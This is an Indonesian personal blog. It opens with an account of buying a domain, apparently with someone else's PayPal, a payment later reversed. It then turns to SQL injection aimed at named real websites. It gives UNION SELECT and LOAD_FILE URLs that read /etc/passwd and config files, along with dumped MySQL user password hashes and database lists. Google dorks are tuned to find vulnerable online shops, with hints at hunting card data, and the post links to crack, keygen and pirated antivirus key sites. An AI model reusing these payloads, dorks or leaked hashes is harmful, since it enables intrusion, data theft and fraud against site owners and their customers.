the rise of blacknote

aduh!! setelah lama g liat blog ku jadi pingin buka eh ternyata g berubah!!
coba ganti nama domain ah

aku coba deh beli domain pake salah satu pp orang dan sukses deh !!
tapi masalah muncul!!
q kok g bisa settingnya???

aku belinya domain missblacklist.com tak coba kok g bisa ya??
truz ku utak- atik sembarangan eh malah ke redirect ke google!!
waktu itu settingan dns nya ku setting pke alamat blog jadi g bisa!!
capek besok aja dilanjutin

ke esokan harinya!!
setting lagi ah
eh dapat email!
payment reversed...... .
ha jadi g bisa domainnya udah terlanjur ke redirect di google!!

secara terpaksa cba beli lagi deh!! kali ini alamatnya missblacklist.org
lalu aku cba cari di internet eh ternyada ada!! dnsnya dganti ghs.google.com itu yang terpenting truus recordnya cname
dan akhirnya jadi deh!! eits belum!!
blognya belum di setting!! untuk nyetting, log ke blog truz publishing n maukkan nama domain dan sukses deh!!

dari sini kita dapat menarik kesimpulan mending daftar domainnya di dynadot aja!!

enak bro meskipun payment reversed domainnya tetap ada ini contohnya hasil domain yang terbuang!! jadi habis beli lgsung buruan nyetting biar walaupun udah ditarik paymentnya qta doain kita masih aktif hehehehe

tadi malam ku coba memainkan sql inection eh gtaunya dapat situs kyk gini
http://www.smartcms.nl/cms2/sites/1038/index.php?idx=390+AND+1=2+UNION+SELECT+[t]
[+] Gathering MySQL Server Configuration...
Database: smartcms2
User: john@localhost
Version: 5.0.32-Debian_7etch5-log

[+] Showing all databases current user has access too!
[+] Number of Databases: 21
[+] Do we have Access to MySQL Database: YES <-- w00t w00t [+] Dumping MySQL user info. host:user:password[+] Number of users in the mysql.user table: 11 [0] localhost:root:*10C72F131B136156D9133DB4961E9645CC09235B [1] pingie.nl:root:*10C72F131B136156D9133DB4961E9645CC09235B [2] localhost:debian-sys-maint:*6E9E0306B528A8DFCC43C912CEC0B671B41ACC5D [3] localhost:vftp:*10C72F131B136156D9133DB4961E9645CC09235B [4] localhost:john:*47B054FA00CEE26FC46D278F6C11A80B4DEFDE11 [5] localhost:udo:*DA13BEF6B903DB32D05747BD36F3CBD0EB8B9BC4 [6] %:udo:*DA13BEF6B903DB32D05747BD36F3CBD0EB8B9BC4 [7] localhost:paul:*5C16B82781A96DF1B275F5394283804B85D67D3D [8] %:paul:*5C16B82781A96DF1B275F5394283804B85D67D3D [9] localhost:mentor:*9F6B593979AA2ECAF97E07BA9247C371586E7DB9 [10] %:mentor:*9F6B593979AA2ECAF97E07BA9247C371586E7DB9 [+] Do we have Access to Load_File: YES <-- w00t w00t [+] Starting Load_File Fuzzer... [+] Number of tables names to be fuzzed: 236 [!] Found /etc/passwd [!] http://www.smartcms.nl/cms2/sites/1038/index.php?idx=390+AND+1=2+UNION+SELECT+LOAD_FILE(0x2f6574632f706173737764)-- [!] Found /etc/hosts [!] http://www.smartcms.nl/cms2/sites/1038/index.php?idx=390+AND+1=2+UNION+SELECT+LOAD_FILE(0x2f6574632f686f737473)-- [!] Found /etc/motd [!] http://www.smartcms.nl/cms2/sites/1038/index.php?idx=390+AND+1=2+UNION+SELECT+LOAD_FILE(0x2f6574632f6d6f7464)-- [!] Found /etc/fstab [!] http://www.smartcms.nl/cms2/sites/1038/index.php?idx=390+AND+1=2+UNION+SELECT+LOAD_FILE(0x2f6574632f6673746162)-- [!] Found /etc/apache2/apache2.conf [!] http://www.smartcms.nl/cms2/sites/1038/index.php?idx=390+AND+1=2+UNION+SELECT+LOAD_FILE(0x2f6574632f617061636865322f617061636865322e636f6e66)-- [!] Found /etc/apache2/httpd.conf [!] http://www.smartcms.nl/cms2/sites/1038/index.php?idx=390+AND+1=2+UNION+SELECT+LOAD_FILE(0x2f6574632f617061636865322f68747470642e636f6e66)-- [!] Found /etc/apache2/sites-available/default [!] http://www.smartcms.nl/cms2/sites/1038/index.php?idx=390+AND+1=2+UNION+SELECT+LOAD_FILE(0x2f6574632f617061636865322f73697465732d617661696c61626c652f64656661756c74)-- [!] Found /etc/mysql/my.cnf [!] http://www.smartcms.nl/cms2/sites/1038/index.php?idx=390+AND+1=2+UNION+SELECT+LOAD_FILE(0x2f6574632f6d7973716c2f6d792e636e66)-- [!] Found /etc/pam.d/proftpd [!] http://www.smartcms.nl/cms2/sites/1038/index.php?idx=390+AND+1=2+UNION+SELECT+LOAD_FILE(0x2f6574632f70616d2e642f70726f66747064)-- dst..... [+] Showing all databases current user has access too! [+] Number of Databases: 21 [1]Smartpages_reseller [2]analysecms [3]analysestats [4]autos [5]doelgroeptv [6]gamebox [7]mysql [8]pinstok [9]pwcms [10]pwstats [11]smartcms [12]smartcms2 [13]smartcms2stats [14]sp-schiedam [15]stad [16]stem [17]sugar [18]udo [19]vhcs2 [20]wateen [21]youngstars databasenya aja segitu apalagi isinya?? tapi bahasanya lumayan sulit !! hehe

da banyak dork yang ku gunakan dalam injecting beberapa diantaranya aku coba sharing disini
silakan dipakai sebaik-baiknya trus klo ada yg baru silakan shar disini!! kita juga bisa mengeditnya dari apa yang udah ada disini
seperti
allinurl:php/player_id=
allinurl:php/gid=

tapi diatas udah terlalu dasar jadi ku coba edit kayak gini
daterange:2454480-2454969 inurl:php/gid= inurl:co.uk

co.uk == artinya kita hanya nyari di situs yang berdomain do co.uk dari situ bis kita kembangin mulai dari domain com.au(australia) fr(france) id(indonesia) ca(canada) dan lain sebagainya sehingga kita dapat memperkecil jangkauan pencarian!!


atau bisa juga seperti ini
daterange:2454480-2454969 inurl:php/gid= inurl:co.uk intext:cart

cart=== artinya kita hanya mencari yang di situsnya terdapat tulisan cartnya
biasanya ku gnti terserah buat nyari yang ada ccnya(hehe)

atau ada juga
daterange:2454480-2454969 inurl:php/gid= inurl:co.uk intext:cart intitle:view

view===buat nyari yang nunjukin barangnya(menandakan shop)

lumayan kan dari 1 dork(inurl:php/gid=) bisa dimodifikasi kayak gitu klo banyak dork gmn??

untuk yang dork lain silakan di modif sendiri
dibawah ini ada beberapa dork lainnya
inurl:php/cid=
inurl:php/lid=
inurl:
products.php?subcat_id=
product.php?product_id=
product.php?prod_id=
product.php?cat_id=

dan lain ssebagainya
cukup disitu aja deh untuk dork yang lain lain kali aja atau call me cz itu aja udah ada ribuan klo kita edit kyk yg q jelasin tadi q aja habisin dork itu 1 dork sekitar 1 hari untuk 1 domain klo ada banyak? tenang dork diatas belum prnah kucoba sama sekali koq!! kecuali buat contoh tadi tapi hanya sebagian!!! ku juga situs bank dari dork ini loh!!

ada tool yang kudapat dari forum di internet silakan klo pengen cba tapi ingat langsungan tetep yang terbaik dari tool (aku sendiri jarang pake tool gtuan)
coba down di sini



ni ada juga situs yang ada celahnya yang kudapat dari dork itu
http://www.credimed.org.br/show.php?gid=449+AND+1=2+UNION+SELECT+0,[t],2,3,4,5,6,7,8,9,[t],[t]
cba pake tool yang yang ada di blog ini (situs ini ga ada encryptnya jadi mudah di inject)

ada banyak link bagus di internet tapi dibawah ini situs yang tidak begitu terkenal tapi cukup menarik untuk dibuka

cracksearchengine
link ini berisi kumpulan crack, keygen serta sn dari kumpulan berbagai macam software/ aplikasi komputer. bagi yang kesulitan mencari cracknya (biar menjadi full) silakan coba link tersebut

blackle
mesin pencari seperti google atau aslinya memang google yang telah di modifikasi sehingga memungkinkan kita mencari sesuatu tanpa batasan yang terdapat di google

kavkiskey
berisi kumpulan key antivirus kaspersky sehingga kita tidak perlu susah- susah mencari keynya kesana kemari kesitu n kesono

darkc0de
forum hacker,cracker serta yang lainnya. bagi yang pengen belajar hacker silakan kunjungi situs ini. namun entah kenapa situs ini lagi trouble.

yogyafree
situs forum untuk belajar berbagai macam ilmu komputer mulai dari cracking, hacking,web desainer serta progamming lainnya. silakan kunjungi untuk mencari tahu lebih dalam

milw0rm
didalamnya terdapat berbagai macam artikel yang menarik untuk dipelajari serta berbagai acam script yang menarik untuk dipakai. silakan dicoba


cukup sekian yang lainnya dilanjutklan lain kali aja

kemarin habis begadang eh gak taunya dapat kode injection
coba gunakan dork dibawah ini

inurl:"propertyDetails.php?pid="
jika kita teliti semua website yang di inject pasti kolomnya ada 118 atau tambahin aja url dibelakangnya dengan ini
"+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118"
jadi hasilnya "www.situsnya.com/propertyDetails.php?pid=25+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118"
biasanya celah ada di kolom 8 dan belakang- belakang gak tau berapa(lupa)
dan isinya
Database: propertywebsite2
User: pwo@webhost0.buswebservers.co.uk
Version: 5.0.32-Debian_7etch8-log
selamat mencoba(masih banyak web yang belum kebuka jdi jangan kuatir g ada isinya)
good luck